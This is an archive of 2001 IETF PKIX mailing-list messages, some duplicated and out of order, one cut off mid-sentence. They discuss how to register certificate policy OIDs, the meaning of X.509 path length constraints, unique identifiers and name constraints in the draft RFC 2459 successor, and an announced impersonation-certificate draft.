Subject: Registering a Certificate Policy OID

From: "Cameron Smith" <[email-masked]>
Date: Mon, 26 Feb 2001 16:20:46 -0800

(Pardon my ignorant question and wide distribution, but I don't know where
else to turn.)

How does one obtain/register a Certificate Policy OID for an organization?

Regards,

Cameron

--
Cameron Smith
PKI Security Analyst
Symantec Corporation

---

From: Juan Carlos Perez Aguayo <[email-masked]>
Date: Tue, 27 Feb 2001 09:35:32 -0400

you can get a OID in the IANA (www.iana.org) for you organization, and then
go further with OIDs under it tree.

regards

Juan Carlos

> -----Original Message-----
> From: Cameron Smith [mailto:[email-masked]]
> Sent: Monday, February 26, 2001 8:21 PM
> To: [email-masked]
> Subject: Registering a Certificate Policy OID
>
>

---

From: Russ Housley <[email-masked]>
Date: Tue, 27 Feb 2001 12:32:25 -0500

Cameron:

It is absolutely critical that private OIDs are obtained from legitimate 
authorities!  There are two basic strategies for obtaining legitimate 
OIDs.  The first strategy is to register the objects with an 
authority.  This strategy is very convenient if the PKI uses a small number 
of relatively stable OIDs to represent certificate policies.  The second 
strategy is to obtain an arc from an authority and assign OIDs as 
needed.  This strategy may be preferred if policies are less stable or many 
OIDs are needed.

ANSI is the registration authority for the US for organization names under 
the global registration process established by ISO and ITU.  A fact sheet 
with links to an application form is located at the ANSI web site 
(http://web.ansi.org/public/services/reg_org.html).  The ANSI OID arc for 
organizations is 2.16.840.1.  ANSI charges a fee for OID arc 
assignments.  It takes approximately two weeks to receive the assigned OID 
arc from ANSI.  ANSI will assign a number (NEWNUM), creating a new OID arc: 
2.16.840.1.NEWNUM.

In most countries, the national standards association maintains an OID 
registry.  As with the ANSI arc, these are generally arcs assigned under 
the OID 2.16.  It may take some investigation to find the OID authority for 
a particular country.  The addresses for ISO national member bodies may be 
found at http://www.iso.ch/addresse/membodies.html.  The information 
includes postal address and electronic mail.  In many cases, a web site is 
specified as well.

Another possible starting point is the International Register of ISO DCC 
NSAP schemes.  NSAP stands for Network Service Access Point, and is used in 
various international standards.  The registry for schemes may be obtained 
at http://www.fei.org.uk/fei/dcc-nsap.htm.  The web site currently lists 
contact information for thirteen naming authorities, some of which will 
also assign OIDs.

The Internet Assigned Numbers Authority (IANA) assigns private enterprise 
numbers, which are OIDs, in the arc 1.3.6.1.4.1.  IANA has assigned arcs to 
over 7,500 companies to date.  The application page is located at 
http://www.iana.org/forms.html, under Private Enterprise Numbers.  The IANA 
usually takes about one week.  An OID from IANA is free.  IANA will assign 
a number (NEWNUM) so that the new OID arc will be 1.3.6.1.4.1.NEWNUM.

The U.S. Federal Government maintains the Computer Security Objects 
Registry (CSOR).  The CSOR is the naming authority for the arc 
2.16.840.1.101.3, and is currently registering objects for security labels, 
cryptographic algorithms, and certificate policies.  The certificate policy 
OIDs are defined in the arc 2.16.840.1.101.3.2.1.  The CSOR provides policy 
OIDs to agencies of the U.S. Federal Government.  For more information 
about the CSOR, see http://csrc.nist.gov/csor/.  For more information on 
OIDs for certificate policies, see http://csrc.nist.gov/csor/pkireg.htm.

Good luck,
    Russ

---

From: David Simonetti <[email-masked]>
Date: Wed, 28 Feb 2001 17:10:40 -0500

Excellent summary, Russ!  I have found IANA to be the most convenient.

Dave S.

--
David Simonetti
Securify (www.securify.com), 410-356-2260

---

From: "Phillip H. Griffin" <[email-masked]>
Date: Wed, 28 Feb 2001 18:26:40 -0500

A couple of small points though. 

Semantics seem to matter to humans. I've helped 
set up OID registries for folks who felt that 
where they got their OID arc from had marketing
implications, even though the encoded OID value
is just an opaque string that has no semantics 
at all. 

So XYZ Consortium may wish to purchase an ISO
OID under "iso(1) identified-organization(3)"
or "joint-iso-itu-t(2) internationalRA(23)",
rather than use a free IANA OID, simply 
because they feel that this makes them a
recognized international organization.

Other folks may have OID size requirements that 
preclude using a free IANA OID for some purposes,
due to the length of these values when they are 
encoded. Instead an OID that encodes in less 
octets might be purchased so that object 
identifiers require less space or bandwidth 
in messages.

Phil

> > >How does one obtain/register a Certificate Policy OID for an organization?

Date: Wed, 28 Feb 2001 18:26:40 -0500
From: "Phillip H. Griffin" <[email-masked]>
Reply-To: [email-masked]
Organization: Griffin Consulting  
To: David Simonetti <[email-masked]>
CC: Cameron Smith <[email-masked]>, [email-masked]
Subject: Re: Registering a Certificate Policy OID

A couple of small points though. 

Semantics seem to matter to humans. I've helped 
set up OID registries for folks who felt that 
where they got their OID arc from had marketing
implications, even though the encoded OID value
is just an opaque string that has no semantics 
at all. 

So XYZ Consortium may wish to purchase an ISO
OID under "iso(1) identified-organization(3)"
or "joint-iso-itu-t(2) internationalRA(23)",
rather than use a free IANA OID, simply 
because they feel that this makes them a
recognized international organization.

Other folks may have OID size requirements that 
preclude using a free IANA OID for some purposes,
due to the length of these values when they are 
encoded. Instead an OID that encodes in less 
octets might be purchased so that object 
identifiers require less space or bandwidth 
in messages.

Phil

> > >How does one obtain/register a Certificate Policy OID for an organization?

Date: Wed, 28 Feb 2001 18:00:35 -0500
From: David Simonetti <[email-masked]>
To: [email-masked]
Subject: Re: Open Issue in Part1: path length constraints

Let's make this a fair fight and make it three on three.  This David agrees with
Steve and John.

In Tim's original message:

"CA "A" issues a CA certificate to CA "B".  "A" trusts end entity
certificates issued by "B", but does not trust "B" to issue certificates to
other CAs.  "A" includes basic constraints in the certificate it issues to
"B" with cA = TRUE and pathLen = 0."

""B" does not issue its own CRLs, but delegates this to CA "C".  "B" also
trusts "C" to issue end entity certificates. So, "B" includes basic
constraints in the certificate it issues to "B" with cA = TRUE."

Let me begin by stating that I really dislike this scenario.  Theoretically this
is possible, but why would anyone architect such a design?  If I really had to
address this scenario, a design that fits within the current semantics would be
one that creates a distinct "personality" for issuing the CRLs which could be
issued an end entity certificate with the cRLSign bit set.

Stay with the current semantics and stop trying to break things that really
aren't broken.

Dave S.

Steve Hanna wrote:

> Steve Hanna wrote:
> > P.S. I have not seen anything approaching rough consensus on the basic
> > question of which of these semantics we should use. John Linn and I
> > have sent email favoring the RFC 2459 semantics (pathLenConstraint
> > being the maximum number of subsequent CA certificates allowed). You
> > and David Cross have sent email favoring the new-part1 semantics
> > (pathLenConstraint being the maximum number of intermediate
> > certificates allowed). If there is no further discussion on the list,
> > we may need to check consensus in Minneapolis.
>
> I forgot that David Cooper also sent email favoring the new-part1
> semantics. Sorry! That makes three Davids in favor of the new-part1
> semantics and Steve and John in favor of the RFC 2459 semantics. Still
> closely divided.
>
> -Steve

Date: Wed, 28 Feb 2001 17:25:17 -0500
From: Steve Hanna <[email-masked]>
Organization: Sun Microsystems, Inc.
To: PKIX List <[email-masked]>
Subject: UIDs popping up in new-part1

Last fall, we agreed to remove issuer and subject unique identifier
comparison from the validation algorithm. At least, I think we did. The
argument was that nobody uses unique identifiers and there's no good
reason to retain support for them.

In draft-ietf-pkix-new-part1-04.txt, this has almost been done. However,
they remain in step (a) (5) of section 6.1.3, which says:

         (5) The certificate issuer unique identifier is the
         working_issuer_UID, meaning:

            (i) working_issuer_UID is non-null and matches the value in
            the issuerUID field, or

            (ii) working_issuer_UID is null and the issuerUID field is
            not present.

But working_issuer_UID is no longer set anywhere. We should either put
back the text that initializes and updates this state variable or we
should change this step so that it doesn't refer to this uninitialized
varible. I suggest that we remove support for unique identifier chaining
by changing this step to say:

         (5) The issuerUniqueID and subjectUniqueID fields are not
         present in the certificate.

This will ensure that compliant implementations will not accidentally
accept certificates that use these fields, since support for these
fields is no longer required. I also suggest that we change the sentence
in section 4.1.2.8 that reads "Applications conforming to this profile
SHOULD be capable of parsing unique identifiers and making
comparisons."  to read "Applications conforming to this profile SHOULD
reject certificates that contain unique identifiers."

-Steve

Date: Wed, 28 Feb 2001 17:10:40 -0500
From: David Simonetti <[email-masked]>
To: Cameron Smith <[email-masked]>
CC: [email-masked]
Subject: Re: Registering a Certificate Policy OID

Dave S.

Date: Wed, 28 Feb 2001 17:09:41 -0500
From: Steve Hanna <[email-masked]>
Organization: Sun Microsystems, Inc.
To: Denis Pinkas <[email-masked]>
CC: Tim Polk <[email-masked]>, [email-masked]
Subject: Re: WG Last Call: Son-of-2459

For the record, I do not agree with these comments and I do not think
that any changes should be made to new-part1 because of them. My
responses are interspersed.

Denis Pinkas wrote:
> ... but, in section 6, there is nearly no text on name constraints.

The text on name constraints in section 6 is perfectly adequate, when
combined with the text in section 4.2.1.11.

> I have found some time to take a look at section 6 from the long awaited
> Son-of-2459, and I am disappointed. We spent quite an hour sitting
> together with you during the Pittsburgh meeting to add the name constraints
> to section 6.2 and I can't find that text. :-(

Substantial changes to IETF working group documents should be the result
of open discussions on the mailing list so that rough consensus can be
judged. Clarifications and simple corrections can be made by the
document editor on the basis of private conversations, but any
significant changes should at least be announced to the mailing list to
see if they reflect rough working group consensus before incorporating
them into the document. I haven't seen these changes (some rather
substantial) discussed before on the list, so I'm not surprised that
they didn't make it into the document.

> So let us go one by one at the changes that are required, and a few more
> that we did not discuss. This makes 14 change proposals altogether:

I will address only some of the change proposals. This does not mean
that I agree with the ones I omit.

> 2. Page 58. Current text:
> 
>    The
>    binding is limited by constraints which are specified in the
>    certificates which comprise the path and the initial state variables
>    which are specified by the relying party.
> 
> Proposed change:
> 
>    The binding is limited both by constraints which are specified in
>    the certificates which comprise the path and the initial state
>    variables which are specified by the relying party, such as
>    certificate policy and name constraints.
> 
> Rational: name constraints were missing.

First, the text you quote as "current text" is actually from
draft-ietf-pkix-new-part1-03.txt. In draft-ietf-pkix-new-part1-04.txt,
this sentence has been changed to read "The binding is limited by
constraints which are specified in the certificates which comprise the
path and inputs which are specified by the relying party." The state
variables are initialized based on the relying party's inputs in the
initialization phase (section 6.1.2).

Second, in the basic validation algorithm described in section 6.1, the
relying party does not supply name constraints. Name constraints are
only provided by intermediate CA certificates. Some implementations may
extend the algorithm described in section 6.1 (using various techniques
such as those described in section 6.2), but I will argue strongly that
we should not include name constraints as an input to the basic
validation algorithm described in section 6.1. This is an unusual
feature and not commonly useful. It would be too great a burden to
require all implementations of the PKIX validation algorithm to include
support for it. That's why it belongs in section 6.2 and not in section
6.1. And, actually, it's not clear to me that it needs to be in section
6.2. Anyone is welcome to add support for specifying name constraints on
for each trust anchor or policy constraints or EKU constraints or
whatever they want. We don't need to describe how all of that would
work. We just need to describe the required algorithm and a few common
extensions (like multiple trust anchors).

> 6. Page 60. Current text:
> 
>    However, a CA may issue a
>    certificate to itself to support key rollover or changes in
>    certificate policies.
> 
> Proposed change:
> 
>    However, a CA may issue a certificate to itself to support either
>    public key rollover, both public key rollover and changes in
>    certificate policies and/or name constraints.
> 
> Rational: name constraints were missing.

Including name constraints in a self-issued certificate is pretty
unusual (and not likely to be very effective). In general, I suggest
finding a trusted CA (or a small number) and having them issue cross
certificates (with name constraints and any other fancy stuff). This
avoids the problem of having many trust anchors with various name
constraints, which must be replaced manually if the constraints change
(due to marketing, mergers, etc.).

-Steve

From: Sharon Boeyen <[email-masked]>
To: "'David A. Cooper'" <[email-masked]>, [email-masked]
Subject: RE: Open Issue in Part1: path length constraints
Date: Wed, 28 Feb 2001 16:25:35 -0500

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A1CC.FCE0DFD0
Content-Type: text/plain

David, absolutely agree about the alignment (we need to at least have
alignment of the resolution of the defect, however it is possible of course
for the words to differ in 509 and in PKIX as long as the meanings are
aligned).

>From the 509 perspective, we'd like to submit the new defects for the formal
ISO ballot process within the next couple of weeks and I want to be sure
that the text we send for ballot is as close to the 'final approved' text as
possible. Alignment is of course of very high importance, so the outcome of
this PKIX discussion will be very valuable. I think we're all on the same
page with respect to intent. In my mind, in the case where the final cert in
a path is a cert that with a subject that is a CA, for purposes of
validation of such a path the CA is acting in the role of an end-entity.
That's probably why I'm not so concerned about the use of the terms.
However, if there are better words to explain that we can certainly modify
the text before the ISO ballot (its MUCH easier to change before the ballot
than as a result of a ballot). I only want to change it once though so I'll
wait a bit to see the outcome of this discussion (and of course any change
would also have to go through the OSIDirectory list, for those who are not
also on the PKIX list to get to review it). 

I hope PKIX folks are also looking at DR 273-277 posted on the Bull server.
They're all X.509 defects as well and I want to be sure they've gotten the
full review they need before ballot.

Cheers
Sharon 

> From: David A. Cooper [mailto:[email-masked]]
> Sent: Wednesday, February 28, 2001 2:33 PM
> To: [email-masked]
> Subject: Re: Open Issue in Part1: path length constraints
> 
> 
> Steve,
> 
> Last week Hoyt Kesterson sent a message to the PKIX list 
> pointing out some defect reports against X.509. One of these, 
> DR 272, deals with path length constraints:
> 
> ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectRep
> orts/X.509andRelated/DR_272Rev1.pdf
> 
> DR 272 proposes adding some new text to X.509 to help clarify 
> the meaning of path length constraints in public key and 
> attribute certificates. From my reading of the text, there 
> seems to be an assumption that every certification path will 
> end with an end-entity certificate as in the following sentence:
> 
>                  The constraint controls the number of non 
> self-issued CA certificates between
>                  the CA certificate containing the constraint 
> and the end-entity certificate.
> 
> Hoyt's message states that DR 272 has not yet been submitted 
> for formal voting, but that it will be soon. We should keep 
> this in mind when deciding on the text to use in new-part1 so 
> we can ensure that X.509 and new-part1 are both clear and 
> consistent in this area.
> 
> Dave
> 
> At 01:28 PM 2/28/01 -0500, Steve Hanna wrote:
> >I have not seen anything approaching rough consensus on the basic
> >question of which of these semantics we should use. John 
> Linn and I have
> >sent email favoring the RFC 2459 semantics 
> (pathLenConstraint being the
> >maximum number of subsequent CA certificates allowed). You and David
> >Cross have sent email favoring the new-part1 semantics
> >(pathLenConstraint being the maximum number of intermediate 
> certificates
> >allowed). If there is no further discussion on the list, we 
> may need to
> >check consensus in Minneapolis.
> 
> 

------_=_NextPart_001_01C0A1CC.FCE0DFD0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Open Issue in Part1: path length constraints</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>David, absolutely agree about the alignment (we need =
to at least have alignment of the resolution of the defect, however it =
is possible of course for the words to differ in 509 and in PKIX as =
long as the meanings are aligned).</FONT></P>

<P><FONT SIZE=3D2>From the 509 perspective, we'd like to submit the new =
defects for the formal ISO ballot process within the next couple of =
weeks and I want to be sure that the text we send for ballot is as =
close to the 'final approved' text as possible. Alignment is of course =
of very high importance, so the outcome of this PKIX discussion will be =
very valuable. I think we're all on the same page with respect to =
intent. In my mind, in the case where the final cert in a path is a =
cert that with a subject that is a CA, for purposes of validation of =
such a path the CA is acting in the role of an end-entity. That's =
probably why I'm not so concerned about the use of the terms. However, =
if there are better words to explain that we can certainly modify the =
text before the ISO ballot (its MUCH easier to change before the ballot =
than as a result of a ballot). I only want to change it once though so =
I'll wait a bit to see the outcome of this discussion (and of course =
any change would also have to go through the OSIDirectory list, for =
those who are not also on the PKIX list to get to review it). =
</FONT></P>

<P><FONT SIZE=3D2>I hope PKIX folks are also looking at DR 273-277 =
posted on the Bull server. They're all X.509 defects as well and I want =
to be sure they've gotten the full review they need before =
ballot.</FONT></P>
<BR>
<BR>

<P><FONT SIZE=3D2>Cheers</FONT>
<BR><FONT SIZE=3D2>Sharon </FONT>
</P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: David A. Cooper [<A =
HREF=3D"mailto:[email-masked]">mailto:[email-masked]</A>]<=
/FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Wednesday, February 28, 2001 2:33 =
PM</FONT>
<BR><FONT SIZE=3D2>&gt; To: [email-masked]</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: Open Issue in Part1: path length =
constraints</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Steve,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Last week Hoyt Kesterson sent a message to the =
PKIX list </FONT>
<BR><FONT SIZE=3D2>&gt; pointing out some defect reports against X.509. =
One of these, </FONT>
<BR><FONT SIZE=3D2>&gt; DR 272, deals with path length =
constraints:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; <A =
HREF=3D"ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectRep" =
TARGET=3D"_blank">ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/D=
efectRep</A></FONT>
<BR><FONT SIZE=3D2>&gt; orts/X.509andRelated/DR_272Rev1.pdf</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; DR 272 proposes adding some new text to X.509 =
to help clarify </FONT>
<BR><FONT SIZE=3D2>&gt; the meaning of path length constraints in =
public key and </FONT>
<BR><FONT SIZE=3D2>&gt; attribute certificates. From my reading of the =
text, there </FONT>
<BR><FONT SIZE=3D2>&gt; seems to be an assumption that every =
certification path will </FONT>
<BR><FONT SIZE=3D2>&gt; end with an end-entity certificate as in the =
following sentence:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The constraint controls the =
number of non </FONT>
<BR><FONT SIZE=3D2>&gt; self-issued CA certificates between</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the CA certificate =
containing the constraint </FONT>
<BR><FONT SIZE=3D2>&gt; and the end-entity certificate.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hoyt's message states that DR 272 has not yet =
been submitted </FONT>
<BR><FONT SIZE=3D2>&gt; for formal voting, but that it will be soon. We =
should keep </FONT>
<BR><FONT SIZE=3D2>&gt; this in mind when deciding on the text to use =
in new-part1 so </FONT>
<BR><FONT SIZE=3D2>&gt; we can ensure that X.509 and new-part1 are both =
clear and </FONT>
<BR><FONT SIZE=3D2>&gt; consistent in this area.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Dave</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; At 01:28 PM 2/28/01 -0500, Steve Hanna =
wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;I have not seen anything approaching rough =
consensus on the basic</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;question of which of these semantics we =
should use. John </FONT>
<BR><FONT SIZE=3D2>&gt; Linn and I have</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;sent email favoring the RFC 2459 semantics =
</FONT>
<BR><FONT SIZE=3D2>&gt; (pathLenConstraint being the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;maximum number of subsequent CA =
certificates allowed). You and David</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;Cross have sent email favoring the =
new-part1 semantics</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;(pathLenConstraint being the maximum number =
of intermediate </FONT>
<BR><FONT SIZE=3D2>&gt; certificates</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;allowed). If there is no further discussion =
on the list, we </FONT>
<BR><FONT SIZE=3D2>&gt; may need to</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;check consensus in Minneapolis.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0A1CC.FCE0DFD0--

To: [email-masked]
Path: pa.dec.com!owner-ietf-redist
From: [email-masked]
Newsgroups: dec.mail.lists.ietf
Subject: I-D ACTION:draft-ietf-pkix-impersonation-00.txt
Date: 28 Feb 2001 13:02:19 -0800
Organization: Systems Research Center, Compaq Computer Corporation
Lines: 85
Sender: [email-masked]
Distribution: dec
To: IETF-Announce:;;;;@pa.dec.com;;;;;;@pa.dec.com;;;;;;;;;;;;;;;;;;;;;;;;@pa.dec.com;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Cc: [email-masked]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Impersonation
                          Certificate Profile
	Author(s)	: S. Tuecke, D. Engert, M. Thompson
	Filename	: draft-ietf-pkix-impersonation-00.txt
	Pages		: 26
	Date		: 27-Feb-01
	
This document forms a certificate profile for Impersonation 
Certificates, based on X.509 PKI certificates as defined in draft-
ietf-pkix-new-part1-04.txt (the draft update to RFC 2459), for use 
in the Internet.  The term Impersonation Certificate is used to 
describe a certificate that is derived from, and signed by, a normal 
X.509 Public Key End Entity Certificate or by another Impersonation 
Certificate for the purpose of providing impersonation within a PKI 
based authentication system.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-impersonation-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-impersonation-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt

Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[email-masked].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-impersonation-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.

Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[email-masked]"

Content-Type: text/plain
Content-ID:	<[email-masked]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-impersonation-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-impersonation-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[email-masked]>

--OtherAccess--

--NextPart--

Date: Wed, 28 Feb 2001 14:32:49 -0500
To: [email-masked]
From: "David A. Cooper" <[email-masked]>
Subject: Re: Open Issue in Part1: path length constraints

Steve,

Last week Hoyt Kesterson sent a message to the PKIX list pointing out some defect reports against X.509. One of these, DR 272, deals with path length constraints:

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_272Rev1.pdf

DR 272 proposes adding some new text to X.509 to help clarify the meaning of path length constraints in public key and attribute certificates. From my reading of the text, there seems to be an assumption that every certification path will end with an end-entity certificate as in the following sentence:

                 The constraint controls the number of non self-issued CA certificates between
                 the CA certificate containing the constraint and the end-entity certificate.

Hoyt's message states that DR 272 has not yet been submitted for formal voting, but that it will be soon. We should keep this in mind when deciding on the text to use in new-part1 so we can ensure that X.509 and new-part1 are both clear and consistent in this area.

Dave

At 01:28 PM 2/28/01 -0500, Steve Hanna wrote:
>I have not seen anything approaching rough consensus on the basic
>question of which of these semantics we should use. John Linn and I have
>sent email favoring the RFC 2459 semantics (pathLenConstraint being the
>maximum number of subsequent CA certificates allowed). You and David
>Cross have sent email favoring the new-part1 semantics
>(pathLenConstraint being the maximum number of intermediate certificates
>allowed). If there is no further discussion on the list, we may need to
>check consensus in Minneapolis.

Date: Wed, 28 Feb 2001 13:33:56 -0500
From: Steve Hanna <[email-masked]>
Organization: Sun Microsystems, Inc.
To: "David P. Kemp" <[email-masked]>, [email-masked]
Subject: Re: Open Issue in Part1: path length constraints

Steve Hanna wrote:
> P.S. I have not seen anything approaching rough consensus on the basic
> question of which of these semantics we should use. John Linn and I
> have sent email favoring the RFC 2459 semantics (pathLenConstraint
> being the maximum number of subsequent CA certificates allowed). You
> and David Cross have sent email favoring the new-part1 semantics
> (pathLenConstraint being the maximum number of intermediate
> certificates allowed). If there is no further discussion on the list,
> we may need to check consensus in Minneapolis.

I forgot that David Cooper also sent email favoring the new-part1
semantics. Sorry! That makes three Davids in favor of the new-part1
semantics and Steve and John in favor of the RFC 2459 semantics. Still
closely divided.

-Steve

Date: Wed, 28 Feb 2001 13:28:46 -0500
From: Steve Hanna <[email-masked]>
Organization: Sun Microsystems, Inc.
To: "David P. Kemp" <[email-masked]>
CC: [email-masked]
Subject: Re: Open Issue in Part1: path length constraints

"David P. Kemp" wrote:
> > From: Steve Hanna <[email-masked]>
> > I find it odd to say that a certificate with cA=TRUE is a CA certificate
> > *unless* it is the last certificate in a path. I suppose this is only a
> > wording problem, but I find this wording *less* clear than the old
> > wording.
> 
> The oddness arises because you are applying the label "CA certificate"
> to the certificate based on its contents instead of its usage.
> 
> If a certificate contains cA=TRUE and
> keyCertSign=cRLSign=digitalSignature=1, then it can be used for more
> than one purpose.  It is a CA certificate when validating the signature
> of a certificate, and it is an EE certificate when validating the
> signature of a CRL or a message.  (A CA should not use a cert-signing
> private key to sign correspondence, but X.509 doesn't prohibit unhygenic
> practices.)

So you're saying that a certificate with cA=TRUE is an end-entity
certificate when it appears at the end of a certificate chain and a CA
certificate otherwise? The same certificate is both a CA certificate and
an end-entity certificate? This seems to be contrary to the way these
terms have been used in the past and the way they are used in X.509, RFC
2459, new-part1, and throughout the industry.

X.509 defines a CA-certificate as a "certificate for one CA issued by
another CA" and an end-entity certificate as a "certificate issued by a
CA to a subject that is not an issuer of other public-key certificates".
RFC 2459 does not have a glossary, but it does say that CA certificates
are "all certificates including the basic constraints extension ...
where the value of cA is TRUE." new-part1 contains similar language.

Attempting to redefine CA certificate and end-entity certificate in this
way will be immensely confusing. If the working group wishes to change
the semantics of the pathLenConstraint field so that a CA certificate at
the end of the path is not counted for the purposes of this constraint,
so be it. But don't try to change the meaning of CA certificate to be "A
certificate whose subject is a CA (except when such a certificate
appears at the end of a path, in which case the certificate is an
end-entity certificate)." Just change the description of the
pathLenConstraint field so that it limits the number of intermediate CA
certificates, not the total number of CA certificates. Instead of the
current text:

   In this case, it gives the maximum number of CA certificates that may
   follow this certificate in a certification path. (Note: One end-
   entity certificate will follow the final CA certificate in the path.
   The last certificate in a path is considered an end-entity
   certificate, whether the subject of the certificate is a CA or not.)
   A pathLenConstrinat of zero indicates that only an end-entity
   certificate may follow in the path. Where it appears, the
   pathLenConstraint field MUST be greater than or equal to zero. Where
   pathLenConstraint does not appear, there is no limit to the allowed
   length of the certification path.

I suggest the following:

   In this case, it gives the maximum number of intermediate CA
   certificates that may follow this certificate in a certification
   path. (Note: One final certificate will follow the final intermediate
   CA certificate in the path. This certificate may be either a CA
   certificate or an end-entity certificate.) A pathLenConstraint of
   zero indicates that no intermediate CA certificates may follow in the
   path. Where it appears, the pathLenConstraint field MUST be greater
   than or equal to zero. Where pathLenConstraint does not appear, there
   is no limit to the allowed length of the certification path.

-Steve

P.S. I have not seen anything approaching rough consensus on the basic
question of which of these semantics we should use. John Linn and I have
sent email favoring the RFC 2459 semantics (pathLenConstraint being the
maximum number of subsequent CA certificates allowed). You and David
Cross have sent email favoring the new-part1 semantics
(pathLenConstraint being the maximum number of intermediate certificates
allowed). If there is no further discussion on the list, we may need to
check consensus in Minneapolis.

To: IETF-Announce: ;
Cc: [email-masked]
From: [email-masked]
Reply-to: [email-masked]
Subject: I-D ACTION:draft-ietf-pkix-impersonation-00.txt
Date: Wed, 28 Feb 2001 06:59:10 -0500
Sender: [email-masked]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Impersonation
                          Certificate Profile
	Author(s)	: S. Tuecke, D. Engert, M. Thompson
	Filename	: draft-ietf-pkix-impersonation-00.txt
	Pages		: 26
	Date		: 27-Feb-01
	
This document forms a certificate profile for Impersonation 
Certificates, based on X.509 PKI certificates as defined in draft-
ietf-pkix-new-part1-04.txt (the draft update to RFC 2459), for use 
in the Internet.  The term Impersonation Certificate is used to 
describe a certificate that is derived from, and signed by, a normal 
X.509 Public Key End Entity Certificate or by another Impersonation 
Certificate for the purpose of providing impersonation within a PKI 
based authentication system.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-impersonation-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-impersonation-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt

Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[email-masked].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-impersonation-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
